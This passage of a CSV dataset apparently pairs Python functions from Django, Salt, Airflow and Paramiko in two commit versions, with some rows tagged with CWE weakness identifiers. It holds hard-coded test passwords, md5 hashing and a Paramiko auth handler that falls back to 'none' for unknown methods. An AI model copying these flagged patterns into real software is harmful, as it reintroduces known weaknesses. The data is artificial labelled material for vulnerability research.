                'git_source': git_source,
            }
        )
        assert expected == op.json"
,UNKNOWN,UNKNOWN,tests/admin_widgets/tests.py,1,"def test_filter(self):
        """"""
        Ensure that typing in the search box filters out options displayed in
        the 'from' box.
        """"""
        from selenium.webdriver.common.keys import Keys

        self.school.students = [self.lisa, self.peter]
        self.school.alumni = [self.lisa, self.peter]
        self.school.save()

        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get(
            '%s%s' % (self.live_server_url, '/admin_widgets/school/%s/' % self.school.id))

        for field_name in ['students', 'alumni']:
            from_box = '#id_%s_from' % field_name
            to_box = '#id_%s_to' % field_name
            choose_link = '#id_%s_add_link' % field_name
            remove_link = '#id_%s_remove_link' % field_name
            input = self.selenium.find_element_by_css_selector('#id_%s_input' % field_name)

            # Initial values
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.bob.id),
                         str(self.cliff.id), str(self.jason.id),
                         str(self.jenny.id), str(self.john.id)])

            # Typing in some characters filters out non-matching options
            input.send_keys('a')
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            input.send_keys('R')
            self.assertSelectOptions(from_box, [str(self.arthur.id)])

            # Clearing the text box makes the other options reappear
            input.send_keys([Keys.BACK_SPACE])
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            input.send_keys([Keys.BACK_SPACE])
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.bob.id),
                         str(self.cliff.id), str(self.jason.id),
                         str(self.jenny.id), str(self.john.id)])

            # -----------------------------------------------------------------
            # Check that choosing a filtered option sends it properly to the
            # 'to' box.
            input.send_keys('a')
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            self.get_select_option(from_box, str(self.jason.id)).click()
            self.selenium.find_element_by_css_selector(choose_link).click()
            self.assertSelectOptions(from_box, [str(self.arthur.id)])
            self.assertSelectOptions(to_box,
                        [str(self.lisa.id), str(self.peter.id),
                         str(self.jason.id)])

            self.get_select_option(to_box, str(self.lisa.id)).click()
            self.selenium.find_element_by_css_selector(remove_link).click()
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.lisa.id)])
            self.assertSelectOptions(to_box,
                        [str(self.peter.id), str(self.jason.id)])

            input.send_keys([Keys.BACK_SPACE])  # Clear text box
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.bob.id),
                         str(self.cliff.id), str(self.jenny.id),
                         str(self.john.id), str(self.lisa.id)])
            self.assertSelectOptions(to_box,
                        [str(self.peter.id), str(self.jason.id)])

        # Save and check that everything is properly stored in the database ---
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.wait_page_loaded()
        self.school = models.School.objects.get(id=self.school.id)  # Reload from database
        self.assertEqual(list(self.school.students.all()),
                         [self.jason, self.peter])
        self.assertEqual(list(self.school.alumni.all()),
                         [self.jason, self.peter])",CWE-259,django/django,6b32adda5935baa7cf99886c6c41a4eda358d2ef,"def test_filter(self):
        """"""
        Ensure that typing in the search box filters out options displayed in
        the 'from' box.
        """"""
        from selenium.webdriver.common.keys import Keys

        self.school.students = [self.lisa, self.peter]
        self.school.alumni = [self.lisa, self.peter]
        self.school.save()

        self.admin_login(username='super', password='secret', login_url='/')
        self.selenium.get(
            '%s%s' % (self.live_server_url, '/admin_widgets/school/%s/' % self.school.id))

        for field_name in ['students', 'alumni']:
            from_box = '#id_%s_from' % field_name
            to_box = '#id_%s_to' % field_name
            choose_link = '#id_%s_add_link' % field_name
            remove_link = '#id_%s_remove_link' % field_name
            input = self.selenium.find_element_by_css_selector('#id_%s_input' % field_name)

            # Initial values
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.bob.id),
                         str(self.cliff.id), str(self.jason.id),
                         str(self.jenny.id), str(self.john.id)])

            # Typing in some characters filters out non-matching options
            input.send_keys('a')
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            input.send_keys('R')
            self.assertSelectOptions(from_box, [str(self.arthur.id)])

            # Clearing the text box makes the other options reappear
            input.send_keys([Keys.BACK_SPACE])
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            input.send_keys([Keys.BACK_SPACE])
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.bob.id),
                         str(self.cliff.id), str(self.jason.id),
                         str(self.jenny.id), str(self.john.id)])

            # -----------------------------------------------------------------
            # Check that chosing a filtered option sends it properly to the
            # 'to' box.
            input.send_keys('a')
            self.assertSelectOptions(from_box, [str(self.arthur.id), str(self.jason.id)])
            self.get_select_option(from_box, str(self.jason.id)).click()
            self.selenium.find_element_by_css_selector(choose_link).click()
            self.assertSelectOptions(from_box, [str(self.arthur.id)])
            self.assertSelectOptions(to_box,
                        [str(self.lisa.id), str(self.peter.id),
                         str(self.jason.id)])

            self.get_select_option(to_box, str(self.lisa.id)).click()
            self.selenium.find_element_by_css_selector(remove_link).click()
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.lisa.id)])
            self.assertSelectOptions(to_box,
                        [str(self.peter.id), str(self.jason.id)])

            input.send_keys([Keys.BACK_SPACE])  # Clear text box
            self.assertSelectOptions(from_box,
                        [str(self.arthur.id), str(self.bob.id),
                         str(self.cliff.id), str(self.jenny.id),
                         str(self.john.id), str(self.lisa.id)])
            self.assertSelectOptions(to_box,
                        [str(self.peter.id), str(self.jason.id)])

        # Save and check that everything is properly stored in the database ---
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.wait_page_loaded()
        self.school = models.School.objects.get(id=self.school.id)  # Reload from database
        self.assertEqual(list(self.school.students.all()),
                         [self.jason, self.peter])
        self.assertEqual(list(self.school.alumni.all()),
                         [self.jason, self.peter])"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/pip.py,0,"def upgrade_available(pkg,
                      bin_env=None,
                      user=None,
                      cwd=None):
    '''
    .. versionadded:: 2015.5.0

    Check whether or not an upgrade is available for a given package

    CLI Example:

    .. code-block:: bash

        salt '*' pip.upgrade_available <package name>
    '''

    cwd = _pip_bin_env(cwd, bin_env)
    return pkg in list_upgrades(bin_env=bin_env, user=user, cwd=cwd)",,saltstack/salt,10ca0fa5d69e73fcef2ebbc3651cbb070f13a667,"def upgrade_available(pkg,
                      bin_env=None,
                      user=None,
                      cwd=None):
    '''
    .. versionadded:: 2015.5.0

    Check whether or not an upgrade is available for a given package

    CLI Example:

    .. code-block:: bash

        salt '*' pip.upgrade_available <package name>
    '''

    cwd = _pip_bin_env(cwd, bin_env)
    return pkg in list_upgrades(bin_env=bin_env, user=user, cwd=cwd)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/example_dags/plugins/event_listener.py,0,"def on_dag_run_running(dag_run: DagRun, msg: str):
    """"""
    This method is called when dag run state changes to RUNNING.
    """"""
    print(""Dag run  in running state"")
    queued_at = dag_run.queued_at

    version = dag_run.version_number

    print(f""Dag information Queued at: {queued_at} version: {version}"")",CWE-Unknown,apache/airflow,d0dbf4c0cbf4d969ff23c045cc8353701f022c1a,"def on_dag_run_running(dag_run: DagRun, msg: str):
    """"""
    This method is called when dag run state changes to RUNNING.
    """"""
    print(""Dag run  in running state"")
    queued_at = dag_run.queued_at

    version = dag_run.dag_version.version

    print(f""Dag information Queued at: {queued_at} version: {version}"")"
,UNKNOWN,UNKNOWN,tests/auth_tests/test_views.py,1,"def test_user_with_usable_password_change_password(self):
        user_change_url = reverse(
            ""auth_test_admin:auth_user_change"", args=(self.admin.pk,)
        )
        password_change_url = reverse(
            ""auth_test_admin:auth_user_password_change"", args=(self.admin.pk,)
        )

        response = self.client.get(user_change_url)
        # Test the link inside password field help_text.
        rel_link = re.search(
            r'<a class=""button"" href=""([^""]*)"">Reset password</a>',
            response.text,
        )[1]
        self.assertEqual(urljoin(user_change_url, rel_link), password_change_url)

        response = self.client.get(password_change_url)
        # Test the form title with original (usable) password
        self.assertContains(
            response, f""<h1>Change password: {self.admin.username}</h1>""
        )
        # Breadcrumb.
        self.assertContains(
            response, f""{self.admin.username}</a>\n&rsaquo; Change password""
        )
        # Submit buttons
        self.assertContains(response, '<input type=""submit"" name=""set-password""')
        self.assertContains(response, '<input type=""submit"" name=""unset-password""')

        # Password change.
        response = self.client.post(
            password_change_url,
            {
                ""password1"": ""password1"",
                ""password2"": ""password1"",
            },
        )
        self.assertRedirects(response, user_change_url)
        self.assertMessages(
            response, [Message(level=25, message=""Password changed successfully."")]
        )
        row = LogEntry.objects.latest(""id"")
        self.assertEqual(row.get_change_message(), ""Changed password."")
        self.logout()
        self.login(password=""password1"")

        # Disable password-based authentication without proper submit button.
        response = self.client.post(
            password_change_url,
            {
                ""password1"": ""password1"",
                ""password2"": ""password1"",
                ""usable_password"": ""false"",
            },
        )
        self.assertRedirects(response, password_change_url)
        self.assertMessages(
            response,
            [
                Message(
                    level=40,
                    message=""Conflicting form data submitted. Please try again."",
                )
            ],
        )
        # No password change yet.
        self.login(password=""password1"")

        # Disable password-based authentication with proper submit button.
        response = self.client.post(
            password_change_url,
            {
                ""password1"": ""password1"",
                ""password2"": ""password1"",
                ""usable_password"": ""false"",
                ""unset-password"": 1,
            },
        )
        self.assertRedirects(response, user_change_url)
        self.assertMessages(
            response,
            [Message(level=25, message=""Password-based authentication was disabled."")],
        )
        row = LogEntry.objects.latest(""id"")
        self.assertEqual(row.get_change_message(), ""Changed password."")
        self.logout()
        # Password-based authentication was disabled.
        with self.assertRaises(AssertionError):
            self.login(password=""password1"")
        self.admin.refresh_from_db()
        self.assertIs(self.admin.has_usable_password(), False)",CWE-259,django/django,0c8177551500e960d2dc04bc4b0fa7060f9172ae,"def test_user_with_usable_password_change_password(self):
        user_change_url = reverse(
            ""auth_test_admin:auth_user_change"", args=(self.admin.pk,)
        )
        password_change_url = reverse(
            ""auth_test_admin:auth_user_password_change"", args=(self.admin.pk,)
        )

        response = self.client.get(user_change_url)
        # Test the link inside password field help_text.
        rel_link = re.search(
            r'<a class=""button"" href=""([^""]*)"">Reset password</a>',
            response.content.decode(),
        )[1]
        self.assertEqual(urljoin(user_change_url, rel_link), password_change_url)

        response = self.client.get(password_change_url)
        # Test the form title with original (usable) password
        self.assertContains(
            response, f""<h1>Change password: {self.admin.username}</h1>""
        )
        # Breadcrumb.
        self.assertContains(
            response, f""{self.admin.username}</a>\n&rsaquo; Change password""
        )
        # Submit buttons
        self.assertContains(response, '<input type=""submit"" name=""set-password""')
        self.assertContains(response, '<input type=""submit"" name=""unset-password""')

        # Password change.
        response = self.client.post(
            password_change_url,
            {
                ""password1"": ""password1"",
                ""password2"": ""password1"",
            },
        )
        self.assertRedirects(response, user_change_url)
        self.assertMessages(
            response, [Message(level=25, message=""Password changed successfully."")]
        )
        row = LogEntry.objects.latest(""id"")
        self.assertEqual(row.get_change_message(), ""Changed password."")
        self.logout()
        self.login(password=""password1"")

        # Disable password-based authentication without proper submit button.
        response = self.client.post(
            password_change_url,
            {
                ""password1"": ""password1"",
                ""password2"": ""password1"",
                ""usable_password"": ""false"",
            },
        )
        self.assertRedirects(response, password_change_url)
        self.assertMessages(
            response,
            [
                Message(
                    level=40,
                    message=""Conflicting form data submitted. Please try again."",
                )
            ],
        )
        # No password change yet.
        self.login(password=""password1"")

        # Disable password-based authentication with proper submit button.
        response = self.client.post(
            password_change_url,
            {
                ""password1"": ""password1"",
                ""password2"": ""password1"",
                ""usable_password"": ""false"",
                ""unset-password"": 1,
            },
        )
        self.assertRedirects(response, user_change_url)
        self.assertMessages(
            response,
            [Message(level=25, message=""Password-based authentication was disabled."")],
        )
        row = LogEntry.objects.latest(""id"")
        self.assertEqual(row.get_change_message(), ""Changed password."")
        self.logout()
        # Password-based authentication was disabled.
        with self.assertRaises(AssertionError):
            self.login(password=""password1"")
        self.admin.refresh_from_db()
        self.assertIs(self.admin.has_usable_password(), False)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/auth_transport.py,0,,,paramiko/paramiko,44d07583bb08f97a1859908d2ae4fdab77f3d9bc,"def _parse_userauth_request(self, m):
        if not self.server_mode:
            # er, uh... what?
            m = Message()
            m.add_byte(chr(MSG_USERAUTH_FAILURE))
            m.add_string('none')
            m.add_boolean(0)
            self._send_message(m)
            return
        if self.authenticated:
            # ignore
            return
        username = m.get_string()
        service = m.get_string()
        method = m.get_string()
        self._log(DEBUG, 'Auth request (type=%s) service=%s, username=%s' % (method, service, username))
        if service != 'ssh-connection':
            self._disconnect_service_not_available()
            return
        if (self.auth_username is not None) and (self.auth_username != username):
            self._log(DEBUG, 'Auth rejected because the client attempted to change username in mid-flight')
            self._disconnect_no_more_auth()
            return
        self.auth_username = username

        if method == 'none':
            result = self.server_object.check_auth_none(username)
        elif method == 'password':
            changereq = m.get_boolean()
            password = m.get_string().decode('UTF-8')
            if changereq:
                # always treated as failure, since we don't support changing passwords, but collect
                # the list of valid auth types from the callback anyway
                self._log(DEBUG, 'Auth request to change passwords (rejected)')
                newpassword = m.get_string().decode('UTF-8')
                result = AUTH_FAILED
            else:
                result = self.server_object.check_auth_password(username, password)
        elif method == 'publickey':
            sig_attached = m.get_boolean()
            keytype = m.get_string()
            keyblob = m.get_string()
            try:
                key = self._key_info[keytype](Message(keyblob))
            except:
                key = None
            if (key is None) or (not key.valid):
                self._log(DEBUG, 'Auth rejected: unsupported or mangled public key')
                self._disconnect_no_more_auth()
                return
            # first check if this key is okay... if not, we can skip the verify
            result = self.server_object.check_auth_publickey(username, key)
            if result != AUTH_FAILED:
                # key is okay, verify it
                if not sig_attached:
                    # client wants to know if this key is acceptable, before it
                    # signs anything...  send special ""ok"" message
                    m = Message()
                    m.add_byte(chr(MSG_USERAUTH_PK_OK))
                    m.add_string(keytype)
                    m.add_string(keyblob)
                    self._send_message(m)
                    return
                sig = Message(m.get_string())
                blob = self._get_session_blob(key, service, username)
                if not key.verify_ssh_sig(blob, sig):
                    self._log(DEBUG, 'Auth rejected: invalid signature')
                    result = AUTH_FAILED
        else:
            result = self.server_object.check_auth_none(username)
        # okay, send result
        m = Message()
        if result == AUTH_SUCCESSFUL:
            self._log(DEBUG, 'Auth granted.')
            m.add_byte(chr(MSG_USERAUTH_SUCCESS))
            self.authenticated = True
        else:
            self._log(DEBUG, 'Auth rejected.')
            m.add_byte(chr(MSG_USERAUTH_FAILURE))
            m.add_string(self.server_object.get_allowed_auths(username))
            if result == AUTH_PARTIALLY_SUCCESSFUL:
                m.add_boolean(1)
            else:
                m.add_boolean(0)
                self.auth_fail_count += 1
        self._send_message(m)
        if self.auth_fail_count >= 10:
            self._disconnect_no_more_auth()"
,UNKNOWN,UNKNOWN,providers/amazon/tests/unit/amazon/aws/sensors/test_sagemaker_training.py,1,"def test_sensor(self, mock_describe_job, hook_init, mock_client):
        hook_init.return_value = None

        mock_describe_job.side_effect = [
            DESCRIBE_TRAINING_INPROGRESS_RESPONSE,
            DESCRIBE_TRAINING_STOPPING_RESPONSE,
            DESCRIBE_TRAINING_COMPLETED_RESPONSE,
        ]
        sensor = SageMakerTrainingSensor(
            task_id=""test_task"",
            poke_interval=0,
            aws_conn_id=""aws_test"",
            job_name=""test_job_name"",
            print_log=False,
        )

        sensor.execute(None)

        # make sure we called 3 times(terminated when its completed)
        assert mock_describe_job.call_count == 3

        # make sure the hook was initialized with the specific params
        calls = [mock.call(aws_conn_id=""aws_test"", config=None, verify=None, region_name=None)]
        hook_init.assert_has_calls(calls)",CWE-703,apache/airflow,24d041d036900ac5b595be119e0e79e0eeed0609,"def test_sensor(self, mock_describe_job, hook_init, mock_client):
        hook_init.return_value = None

        mock_describe_job.side_effect = [
            DESCRIBE_TRAINING_INPROGRESS_RESPONSE,
            DESCRIBE_TRAINING_STOPPING_RESPONSE,
            DESCRIBE_TRAINING_COMPLETED_RESPONSE,
        ]
        sensor = SageMakerTrainingSensor(
            task_id=""test_task"",
            poke_interval=0,
            aws_conn_id=""aws_test"",
            job_name=""test_job_name"",
            print_log=False,
        )

        sensor.execute(None)

        # make sure we called 3 times(terminated when its completed)
        assert mock_describe_job.call_count == 3

        # make sure the hook was initialized with the specific params
        calls = [mock.call(aws_conn_id=""aws_test"")]
        hook_init.assert_has_calls(calls)"
,UNKNOWN,UNKNOWN,airflow/models/taskinstance.py,1,"def _execute_task_with_callbacks(self, context: Context, test_mode: bool = False, *, session: Session):
        """"""Prepare Task for Execution.""""""
        if TYPE_CHECKING:
            assert self.task

        parent_pid = os.getpid()

        def signal_handler(signum, frame):
            pid = os.getpid()

            # If a task forks during execution (from DAG code) for whatever
            # reason, we want to make sure that we react to the signal only in
            # the process that we've spawned ourselves (referred to here as the
            # parent process).
            if pid != parent_pid:
                os._exit(1)
                return
            self.log.error(""Received SIGTERM. Terminating subprocesses."")
            self.task.on_kill()
            raise AirflowTaskTerminated(""Task received SIGTERM signal"")

        signal.signal(signal.SIGTERM, signal_handler)

        # Don't clear Xcom until the task is certain to execute, and check if we are resuming from deferral.
        if not self.next_method:
            self.clear_xcom_data()

        with Stats.timer(f""dag.{self.task.dag_id}.{self.task.task_id}.duration""), Stats.timer(
            ""task.duration"", tags=self.stats_tags
        ):
            # Set the validated/merged params on the task object.
            self.task.params = context[""params""]

            with set_current_context(context):
                dag = self.task.get_dag()
                if dag is not None:
                    jinja_env = dag.get_template_env()
                else:
                    jinja_env = None
                task_orig = self.render_templates(context=context, jinja_env=jinja_env)

            # The task is never MappedOperator at this point.
            if TYPE_CHECKING:
                assert isinstance(self.task, BaseOperator)

            if not test_mode:
                rendered_fields = get_serialized_template_fields(task=self.task)
                _update_rtif(ti=self, rendered_fields=rendered_fields)
            # Export context to make it available for operators to use.
            airflow_context_vars = context_to_airflow_vars(context, in_env_var_format=True)
            os.environ.update(airflow_context_vars)

            # Log context only for the default execution method, the assumption
            # being that otherwise we're resuming a deferred task (in which
            # case there's no need to log these again).
            if not self.next_method:
                self.log.info(
                    ""Exporting env vars: %s"",
                    "" "".join(f""{k}={v!r}"" for k, v in airflow_context_vars.items()),
                )

            # Run pre_execute callback
            self.task.pre_execute(context=context)

            # Run on_execute callback
            self._run_execute_callback(context, self.task)

            # Run on_task_instance_running event
            get_listener_manager().hook.on_task_instance_running(
                previous_state=TaskInstanceState.QUEUED, task_instance=self, session=session
            )

            def _render_map_index(context: Context, *, jinja_env: jinja2.Environment | None) -> str | None:
                """"""Render named map index if the DAG author defined map_index_template at the task level.""""""
                if jinja_env is None or (template := context.get(""map_index_template"")) is None:
                    return None
                rendered_map_index = jinja_env.from_string(template).render(context)
                log.debug(""Map index rendered as %s"", rendered_map_index)
                return rendered_map_index

            # Execute the task.
            with set_current_context(context):
                try:
                    result = self._execute_task(context, task_orig)
                except Exception:
                    # If the task failed, swallow rendering error so it doesn't mask the main error.
                    with contextlib.suppress(jinja2.TemplateSyntaxError, jinja2.UndefinedError):
                        self.rendered_map_index = _render_map_index(context, jinja_env=jinja_env)
                    raise
                else:  # If the task succeeded, render normally to let rendering error bubble up.
                    self.rendered_map_index = _render_map_index(context, jinja_env=jinja_env)

            # Run post_execute callback
            self.task.post_execute(context=context, result=result)

        Stats.incr(f""operator_successes_{self.task.task_type}"", tags=self.stats_tags)
        # Same metric with tagging
        Stats.incr(""operator_successes"", tags={**self.stats_tags, ""task_type"": self.task.task_type})
        Stats.incr(""ti_successes"", tags=self.stats_tags)",CWE-703,apache/airflow,456ec48d12be02ca7266f021a16e01abb5d4c5a3,"def _execute_task_with_callbacks(self, context: Context, test_mode: bool = False, *, session: Session):
        """"""Prepare Task for Execution.""""""
        if TYPE_CHECKING:
            assert self.task

        parent_pid = os.getpid()

        def signal_handler(signum, frame):
            pid = os.getpid()

            # If a task forks during execution (from DAG code) for whatever
            # reason, we want to make sure that we react to the signal only in
            # the process that we've spawned ourselves (referred to here as the
            # parent process).
            if pid != parent_pid:
                os._exit(1)
                return
            self.log.error(""Received SIGTERM. Terminating subprocesses."")
            self.task.on_kill()
            raise AirflowTaskTerminated(""Task received SIGTERM signal"")

        signal.signal(signal.SIGTERM, signal_handler)

        # Don't clear Xcom until the task is certain to execute, and check if we are resuming from deferral.
        if not self.next_method:
            self.clear_xcom_data()

        with Stats.timer(f""dag.{self.task.dag_id}.{self.task.task_id}.duration""), Stats.timer(
            ""task.duration"", tags=self.stats_tags
        ):
            # Set the validated/merged params on the task object.
            self.task.params = context[""params""]

            with set_current_context(context):
                dag = self.task.get_dag()
                if dag is not None:
                    jinja_env = dag.get_template_env()
                else:
                    jinja_env = None
                task_orig = self.render_templates(context=context, jinja_env=jinja_env)

            # The task is never MappedOperator at this point.
            if TYPE_CHECKING:
                assert isinstance(self.task, BaseOperator)

            if not test_mode:
                rendered_fields = get_serialized_template_fields(task=self.task)
                _update_rtif(ti=self, rendered_fields=rendered_fields)
            # Export context to make it available for operators to use.
            airflow_context_vars = context_to_airflow_vars(context, in_env_var_format=True)
            os.environ.update(airflow_context_vars)

            # Log context only for the default execution method, the assumption
            # being that otherwise we're resuming a deferred task (in which
            # case there's no need to log these again).
            if not self.next_method:
                self.log.info(
                    ""Exporting env vars: %s"",
                    "" "".join(f""{k}={v!r}"" for k, v in airflow_context_vars.items()),
                )

            # Run pre_execute callback
            self.task.pre_execute(context=context)

            # Run on_execute callback
            self._run_execute_callback(context, self.task)

            # Run on_task_instance_running event
            get_listener_manager().hook.on_task_instance_running(
                previous_state=TaskInstanceState.QUEUED, task_instance=self, session=session
            )

            # Execute the task
            with set_current_context(context):
                result = self._execute_task(context, task_orig)

            # Run post_execute callback
            self.task.post_execute(context=context, result=result)

            # DAG authors define map_index_template at the task level
            if jinja_env is not None and (template := context.get(""map_index_template"")) is not None:
                rendered_map_index = self.rendered_map_index = jinja_env.from_string(template).render(context)
                self.log.info(""Map index rendered as %s"", rendered_map_index)

        Stats.incr(f""operator_successes_{self.task.task_type}"", tags=self.stats_tags)
        # Same metric with tagging
        Stats.incr(""operator_successes"", tags={**self.stats_tags, ""task_type"": self.task.task_type})
        Stats.incr(""ti_successes"", tags=self.stats_tags)"
,UNKNOWN,UNKNOWN,salt/minion.py,1,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        '''
        try:
            log.info(
                '{0} is starting as user \'{1}\''.format(
                    self.__class__.__name__,
                    getpass.getuser()
                )
            )
        except Exception as err:
            # Only windows is allowed to fail here. See #3189. Log as debug in
            # that case. Else, error.
            log.log(
                salt.utils.is_windows() and logging.DEBUG or logging.ERROR,
                'Failed to get the user who is starting {0}'.format(
                    self.__class__.__name__
                ),
                exc_info=err
            )
        signal.signal(signal.SIGTERM, self.clean_die)
        log.debug('Minion ""{0}"" trying to tune in'.format(self.opts['id']))
        self.context = zmq.Context()

        # Prepare the minion event system
        #
        # Start with the publish socket
        id_hash = hashlib.md5(self.opts['id']).hexdigest()
        epub_sock_path = os.path.join(
            self.opts['sock_dir'],
            'minion_event_{0}_pub.ipc'.format(id_hash)
        )
        epull_sock_path = os.path.join(
            self.opts['sock_dir'],
            'minion_event_{0}_pull.ipc'.format(id_hash)
        )
        self.epub_sock = self.context.socket(zmq.PUB)
        if self.opts.get('ipc_mode', '') == 'tcp':
            epub_uri = 'tcp://127.0.0.1:{0}'.format(
                self.opts['tcp_pub_port']
            )
            epull_uri = 'tcp://127.0.0.1:{0}'.format(
                self.opts['tcp_pull_port']
            )
        else:
            epub_uri = 'ipc://{0}'.format(epub_sock_path)
            salt.utils.check_ipc_path_max_len(epub_uri)
            epull_uri = 'ipc://{0}'.format(epull_sock_path)
            salt.utils.check_ipc_path_max_len(epull_uri)
        log.debug(
            '{0} PUB socket URI: {1}'.format(
                self.__class__.__name__, epub_uri
            )
        )
        log.debug(
            '{0} PULL socket URI: {1}'.format(
                self.__class__.__name__, epull_uri
            )
        )

        # Create the pull socket
        self.epull_sock = self.context.socket(zmq.PULL)
        # Bind the event sockets
        self.epub_sock.bind(epub_uri)
        self.epull_sock.bind(epull_uri)
        # Restrict access to the sockets
        if self.opts.get('ipc_mode', '') != 'tcp':
            os.chmod(
                epub_sock_path,
                448
            )
            os.chmod(
                epull_sock_path,
                448
            )

        self.poller = zmq.Poller()
        self.epoller = zmq.Poller()
        self.socket = self.context.socket(zmq.SUB)
        self.socket.setsockopt(zmq.SUBSCRIBE, '')
        self.socket.setsockopt(zmq.IDENTITY, self.opts['id'])

        recon_delay = self.opts['recon_default']

        if self.opts['recon_randomize']:
            recon_delay = randint(self.opts['recon_default'],
                                  self.opts['recon_default'] + self.opts['recon_max']
                          )

            log.debug(""Generated random reconnect delay between '{0}ms' and '{1}ms' ({2})"".format(
                self.opts['recon_default'],
                self.opts['recon_default'] + self.opts['recon_max'],
                recon_delay)
            )

        log.debug(""Setting zmq_reconnect_ivl to '{0}ms'"".format(recon_delay))
        self.socket.setsockopt(zmq.RECONNECT_IVL, recon_delay)

        if hasattr(zmq, 'RECONNECT_IVL_MAX'):
            log.debug(""Setting zmq_reconnect_ivl_max to '{0}ms'"".format(
                self.opts['recon_default'] + self.opts['recon_max'])
            )

            self.socket.setsockopt(
                zmq.RECONNECT_IVL_MAX, self.opts['recon_max']
            )

        if self.opts['ipv6'] is True and hasattr(zmq, 'IPV4ONLY'):
            # IPv6 sockets work for both IPv6 and IPv4 addresses
            self.socket.setsockopt(zmq.IPV4ONLY, 0)

        if hasattr(zmq, 'TCP_KEEPALIVE'):
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE, self.opts['tcp_keepalive']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_IDLE, self.opts['tcp_keepalive_idle']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_CNT, self.opts['tcp_keepalive_cnt']
            )
            self.socket.setsockopt(
                zmq.TCP_KEEPALIVE_INTVL, self.opts['tcp_keepalive_intvl']
            )
        self.socket.connect(self.master_pub)
        self.poller.register(self.socket, zmq.POLLIN)
        self.epoller.register(self.epull_sock, zmq.POLLIN)
        # Send an event to the master that the minion is live
        self._fire_master(
            'Minion {0} started at {1}'.format(
            self.opts['id'],
            time.asctime()
            ),
            'minion_start'
        )
        self._fire_master(
            'Minion {0} started at {1}'.format(
            self.opts['id'],
            time.asctime()
            ),
            tagify([self.opts['id'], 'start'], 'minion'),
        )

        # Make sure to gracefully handle SIGUSR1
        enable_sigusr1_handler()

        # Make sure to gracefully handle CTRL_LOGOFF_EVENT
        salt.utils.enable_ctrl_logoff_handler()

        # On first startup execute a state run if configured to do so
        self._state_run()
        time.sleep(.5)

        loop_interval = int(self.opts['loop_interval'])
        while True:
            try:
                self.schedule.eval()
                # Check if scheduler requires lower loop interval than
                # the loop_interval setting
                if self.schedule.loop_interval < loop_interval:
                    loop_interval = self.schedule.loop_interval
                    log.debug(
                        'Overriding loop_interval because of scheduled jobs.'
                    )
            except Exception as exc:
                log.error(
                    'Exception {0} occurred in scheduled job'.format(exc)
                )
            try:
                socks = dict(self.poller.poll(
                    loop_interval * 1000)
                )
                if self.socket in socks and socks[self.socket] == zmq.POLLIN:
                    payload = self.serial.loads(self.socket.recv())
                    self._handle_payload(payload)
                # Check the event system
                if self.epoller.poll(1):
                    try:
                        while True:
                            package = self.epull_sock.recv(zmq.NOBLOCK)
                            if package.startswith('module_refresh'):
                                self.module_refresh()
                            elif package.startswith('pillar_refresh'):
                                self.pillar_refresh()
                            self.epub_sock.send(package)
                    except Exception:
                        pass
            except zmq.ZMQError:
                # This is thrown by the interrupt caused by python handling the
                # SIGCHLD. This is a safe error and we just start the poll
                # again
                continue
            except Exception:
                log.critical(
                    'An exception occurred while polling the minion',
                    exc_info=True
                )","CWE-94, CWE-327",saltstack/salt,eee407734452b7f842530c276f876fc11c0ed103,"def tune_in(self):
        '''
        Lock onto the publisher. This is the main event loop for the minion
        '''
        try:
            log.info(
                '{0} is starting as user \'{1}\''.format(
                    self.__class__.__name__,
                    getpass.getuser()
                )
            )
        except Exception as err:
            # Only windows is allowed to fail here. See #3189. Log as debug in
            # that case. Else, error.
            log.log(
                salt.utils.is_windows() and logging.DEBUG or logging.ERROR,
                'Failed to get the user who is starting {0}'.format(
                    self.__class__.__name__
                ),
                exc_info=err
            )
        signal.signal(signal.SIGTERM, self.clean_die)
        log.debug('Minion ""{0}"" trying to tune in'.format(self.opts['id']))
        self.context = zmq.Context()

        # Prepare the minion event system
        #
        # Start with the publish socket
        id_hash = hashlib.md5(self.opts['id']).hexdigest()
        epub_sock_path = os.path.join(
            self.opts['sock_dir'],
            'minion_event_{0}_pub.ipc'.format(id_hash)
        )
        epull_sock_path = os.path.join(
            self.opts['sock_dir'],
            'minion_event_{0}_pull.ipc'.format(id_hash)
        )
        self.epub_sock = self.context.socket(zmq.PUB)
        if self.opts.get('ipc_mode', '') == 'tcp':
            epub_uri = 'tcp://127.0.0.1:{0}'.format(
                self.opts['tcp_pub_port']
            )
            epull_uri = 'tcp://127.0.0.1:{0}'.format(
                self.opts['tcp_pull_port']
            )
        else:
            epub_uri = 'ipc://{0}'.format(epub_sock_path)
            salt.utils.check_ipc_path_max_len(epub_uri)
            epull_uri = 'ipc://{0}'.format(epull_sock_path)
            salt.utils.check_ipc_path_max_len(epull_uri)
        log.debug(
            '{0} PUB socket URI: {1}'.format(
                self.__class__.__name__, epub_uri
            )
        )
        log.debug(
            '{0} PULL socket URI: {1}'.format(
                self.__class__.__name__, epull_uri
            )
        )

        # Create the pull socket
        self.epull_sock = self.context.socket(zmq.PULL)
        # Bind the event sockets
        self.epub_sock.bind(epub_uri)
        self.epull_sock.bind(epull_uri)
        # Restrict access to the sockets
        if self.opts.get('ipc_mode', '') != 'tcp':
            os.chmod(
                epub_sock_path,
                448
            )
            os.chmod(
                epull_sock_path,
                448
            )

        self.poller = zmq.Poller()
        self.epoller = zmq.Poller()
